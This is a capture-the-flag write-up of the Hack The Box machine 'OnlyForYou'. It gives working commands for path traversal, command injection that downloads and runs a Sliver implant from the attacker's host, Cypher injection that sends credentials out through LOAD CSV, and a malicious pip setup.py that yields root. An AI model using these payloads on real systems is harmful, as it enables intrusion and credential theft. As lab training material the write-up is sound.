Post

HTB • OnlyForYou

OnlyForYou is a medium, Linux-based Hack the Box machine created by 0xM4hm0ud, offering a journey into web exploitation and Linux privilege escalation. It starts with finding open ports, revealing SSH and HTTP. Then, we explores a web vulnerability, specifically an absolute directory traversal issue on a specific VHost. This weakness is exploited to view the source code of the main site, which is vulnerable to command injection. We exploit this vulnerability run a Sliver implant for initial access. The focus shifts to escalating privileges, discovering local listening ports, and identifying services. On port 8001, a Neo4j Cypher injection vulnerability is exploited to reveal the password for a user “john”. We login via SSH and leverage John’s special sudo rights to execute a Python script within a malicious archive hosted on the local Gogs service, eventually gaining root access.

Initial Recon

For the initial reconnaissance phase, we began by setting up our environment and conducting a TCP port scan using a custom nmap wrapper script called ctfscan. This script aids in quickly and reliably scanning for open ports on the target machine.

1
2
3
4
# Set up environment variables and run a port scan
echo rhost="10.10.11.210" >> .env
echo lhost="10.10.14.2" >> .env # Our HTB VPN client IP address
. ./.env && ctfscan $rhost

The scan revealed two open ports:

TransportPortServiceProductVersion
TCP22SSHOpenSSH8.2p1 Ubuntu 4ubuntu0.5
TCP80HTTPnginx1.18.0

Web

When making a simple HTTP GET request to the target on port 80, we were redirected to only4you.htb. To simplify requests, we added it to our /etc/hosts file.

1
2
# Add hostname to /etc/hosts
echo "$rhost\tonly4you.htb" | sudo tee -a /etc/hosts

This allowed us to access the intended site at http://only4you.htb.

Web index

On the site, we found information about four employees and spotted a link to beta.only4you.htb in the FAQ section.

FAQ Beta Link

To access this beta site easily, we added the virtual hostname to our /etc/hosts file.

1
2
# Add beta site to /etc/hosts
[ -z "$rhost" ] || sudo sed -Ei "s/($rhost\\s+.*)/\\1 beta.only4you.htb/" /etc/hosts

Beta Site

We proceeded to explore the http://beta.only4you.htb site. It advertised the site source code which we downloaded for further review.

Beta site index

Arbitrary File Disclosure

After extracting the source code from the downloaded archive, we focused on the app.py file. This file contained endpoints for a Flask application, including /resize, /convert, and /download. While these endpoints had some filesystem access protection, the /download endpoint seemed to allow reading from absolute paths.

1
2
3
4
5
6
@app.route('/download', methods=['POST'])
def download():
  image = request.form['image']
  filename = posixpath.normpath(image) 
  # ...
  return send_file(filename, as_attachment=True)

We verified this vulnerability by reading /etc/passwd.

1
2
# Exploit the vulnerability to read /etc/passwd
curl "http://beta.only4you.htb/download" -d "image=/etc/passwd"
Exploitation

We leveraged this vulnerability to read the NGINX sites configuration file at /etc/nginx/sites-enabled/default in search of additional information about the server.

1
2
3
4
5
# Easily download files from the target filesystem using a helper function
download() { curl -s "http://beta.only4you.htb/download" --data-urlencode "image=$1"; }
download /etc/nginx/sites-enabled/default # Found /var/www/only4you.htb
download /var/www/beta.only4you.htb/app.py # Verify the existence of app.py (from source code)
download /var/www/only4you.htb/app.py # Check for app.py in /var/www/only4you.htb -> Exists!

In the sites configuration, we discovered potential application directories in /var/www, specifically only4you.htb and beta.only4you.htb. We confirmed that the beta Flask application resided in /var/www/beta.only4you.htb/app.py. We also checked for the presence of a Flask application at /var/www/only4you.htb/app.py. Further analysis of /var/www/only4you.htb/app.py revealed that it imports another Python file, form.py.

Command Injection

We discovered that the form.py file in /var/www/only4you.htb used regular expressions to validate email addresses and executed unsafe shell commands that included the provided email address. The insecure regex allowed us to inject commands by appending them to a valid email address since it did not specify a beginning or end in the email address pattern.

1
2
3
4
5
6
7
8
9
# Easily execute blind shell commands using a helper function
blind_cmd() {
  curl only4you.htb -s -o /dev/null \
    -d 'subject&message' --data-urlencode "email=x@x.local;($1)"
}

# Verify command execution
blind_cmd "id" | time cat # Immediate response
blind_cmd "id && sleep 3" | time cat # Delayed response

We then exploited the command injection vulnerability to download and execute a Sliver implant on the target.

1
2
3
4
mtls -L 10.10.14.2 -l 8443
generate -e -l -G -o linux -m 10.10.14.2:8443 -s implant.elf
websites add-content -w onlyforyou -c implant.elf -p /f7ioYM
https -L 10.10.14.2 -l 443 -w onlyforyou
1
2
# Exploit command injection to download and execute Sliver implant
blind_cmd "bash -c 'curl -ko /tmp/f7ioYM https://$lhost/f7ioYM;chmod +x /tmp/f7ioYM;/tmp/f7ioYM'"

Privilege Escalation

During our enumeration process from the Sliver implant, we identified several locally listening ports. Among the discovered ports, we noticed 3306 and 7474, which hinted at MySQL and Neo4j services. Additionally, ports 3000 and 8001 seemed to host HTTP servers. We made sure to forward both of these ports to our loopback address using Sliver to easily access the services from our machine.

1
2
3
use
portfwd add -r 127.0.0.1:3000 -b 127.0.0.1:3000
portfwd add -r 127.0.0.1:8001 -b 127.0.0.1:8001

To identify and fingerprint the web applications on these ports, we used Wappalyzer.

1
2
# Fingerprint web applications
for p in 3000 8001; do wappalyzer http://127.0.0.1:$p | tee logs/web-$p.json; done

Port 3000 appeared to be running a self-hosted Git service called Gogs, while port 8001 hosted a Python web app.

Port 8001

We were redirected to a page asking us to authenticate with a username and password.

Port 8001 login page

After attempting various username and password combinations on the login page, we successfully logged in to the application using the credentials “admin:admin”. We discovered an employee search feature which used the /search endpoint and seemed to be vulnerable to injection using a single quote character.

Port 8001 search feature

We infered that this might be related to Neo4j Cypher queries due to the presence of the Neo4j service on port 7474.

More reading on Neo4j Cypher injection

We crafted a Cypher injection payload and confirmed that it successfully executed by receiving a HTTP 200 response.

1
2
3
4
5
# Verify cypher injection vector
payload="lvHbNo' RETURN 0 AS _0//"
session="616254c6-ddff-4632-a53e-d0f0de121aec" # Admin session cookie here
curl http://localhost:8001/search -b "session=$session" -d "search=$payload" \
  -s -o /dev/null -w '%{http_code}\n'

To simplify exploitation, we created a bash helper function to send Neo4j Cypher injection payloads. We used this injection point to extract label names out-of-band from the Neo4j database using LOAD CSV.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Start HTTP listener
python3 -m http.server -b $lhost 8080

# Create helper function to simplify exploitation
inject() {
  curl http://localhost:8001/search -s \
    -b "session=$1" --data-urlencode "search=$2" \
    -o /dev/null -w '%{http_code}\n';
}

# Use Cypher injection to send the database labels to our listener
inject $session "' RETURN 0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://$lhost:8080/?label='+label AS l RETURN 0//"
# Send keys from "user" label to our listener
for i in {0..5}; do inject $session "' RETURN 0 UNION MATCH (u:user) LOAD CSV FROM 'http://$lhost:8080/?key='+keys(u)[$i] as l RETURN 0//"; done
# send values for the "username" and "password" keys to our listener
inject $session "' RETURN 0 UNION MATCH (u:user) LOAD CSV FROM 'http://$lhost:8080/?username='+u.username+'&password='+u.password as l RETURN 0//"

We identified two labels: “user” and “employee”. Further extraction revealed keys for the “user” label, which included “username” and “password”. With these keys, we extracted the hashed credentials and managed to recover the password for user “john” on hashes.com. With these credentials, we gained SSH access to the system as user “john”.

Sudo Privileges

While logged in as “john”, we used sudo -l and discovered some special sudo rights that allowed this user to run a specific command as root.

1
2
3
4
5
Matching Defaults entries for john on only4you:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User john may run the following commands on only4you:
    (root) NOPASSWD: /usr/bin/pip3 download http\://127.0.0.1\:3000/*.tar.gz

The output showed that John could run /usr/bin/pip3 download with specific arguments. A bit of research into this command revealed that it extracts contents from compressed tar archives and runs */setup.py. This insight led us to host a malicious archive on the Gogs service. By creating an archive with a setup.py containing a command execution payload, we could use John’s sudo exception to execute arbitrary commands as root.

Gogs

After logging in to Gogs with John’s credentials, we discovered a private repository named “Test”. We made this repository public to allow the pip3 command to access it.

Make repository public

We then created a malicious archive, exploit.tar.gz, containing a setup script with a payload to achieve privilege escalation using a SUID shell.

1
2
3
4
# Create malicious archive
mkdir exploit
echo "__import__('os').chmod('/bin/bash',0o4755);" > exploit/setup.py
tar -czf exploit.tar.gz exploit

We uploaded the malicious archive to Gogs and committed the changes.

Upload our malicious archive

Next, we triggered the privileged code execution with John’s sudo rights to execute our malicious script.

1
2
3
# Triggering privileged code execution
sudo /usr/bin/pip3 download http://127.0.0.1:3000/john/Test/raw/master/exploit.tar.gz
bash -p # We are now root!

With successful privilege escalation, we gained root access to the target machine, read the root flag at /root/root.txt and normalized the SUID bash executable.

1
2
3
# Read root flag & clean up after ourselves
cat /root/root.txt
chmod -s /bin/bash
This post is licensed under CC BY 4.0 by the author.